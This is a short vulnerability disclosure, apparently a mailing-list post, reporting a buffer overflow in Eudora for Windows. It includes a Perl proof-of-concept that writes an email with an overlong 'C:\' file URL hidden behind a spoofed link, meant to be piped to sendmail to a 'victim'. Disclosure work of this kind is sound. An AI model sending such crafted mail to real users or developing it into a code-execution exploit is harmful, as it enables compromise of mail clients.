There is a buffer overflow in Eudora for Windows, verified on versions 6.1, 6.0.3 and 5.2.1. This is easily exploitable to run arbitrary code. I do not know if this issue affects Eudora for Macs.
Demo:
#!/usr/bin/perl -- print "From: me\n"; print "To: you\n"; print "Subject: Eudora file URL buffer overflow demo\n"; print "X-Use: Pipe the output of this script into: sendmail -i victim\n\n"; print "The following is a \"proper\" HTML URL, pointing to somewhere long:\n"; print "<x-html>\n"; print "<a href=\"C:\\", "A"x300, "\">\n"; print "Fake URL to http://anywhere/I/want</a>\n"; print "</x-html>\n"; print "Clicking above will crash Eudora.\n\n"; print "The following plain-text converted by Eudora into a clickable URL\n"; print "http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx\n"; print "is for comparison: the user can hardly tell them apart.\n\n";
Cheers,
Paul Szabo
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